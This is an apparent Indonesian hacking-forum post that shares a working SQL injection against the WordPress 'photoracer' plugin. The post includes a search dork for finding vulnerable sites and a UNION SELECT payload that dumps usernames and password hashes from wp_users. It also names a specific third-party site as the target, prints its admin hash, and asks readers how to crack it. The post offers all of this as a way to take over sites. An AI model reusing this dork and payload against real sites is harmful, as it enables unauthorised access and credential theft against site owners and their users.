exploid wordpress

gue ingin berbagi poc wp :) dari pada show off gue kasih deh :D POC nya saya bukan menyinggung anda tapi di sini tempat belajar bersama jadi saling berbagi ok :)

dork : inurl:"wp-content/plugins/photoracer/viewimg.php?id="

exploid : /wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users--

neh hampir sama kyak joomla gan :) jadi gini contoh target ya :D

http://1001culori.ro/wp-content/plugins/photoracer/viewimg.php?id=1

nahh sekarang kita kasih kasih exploid nya kyak di atas tadi
ntar jadi nya begini gan

http://1001culori.ro/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat%28user_login,0x3a,user_pass%29,7,8,9+from+wp_users--

nah ntar akan ada kluar gini

admin:$P$Bx19x07e84PAWWkN7s1O8/qoiJk3F51

tinggal di has aja lagi hehehe selamat owned ya gan :)

oia has nya gue juga gk tau wkwkw maklum newbie :( tolong di bantu ya kawan kawan bagi yang tau tempat has wp :)


SALAM DARI NEWBI [BIBI-LUNG404]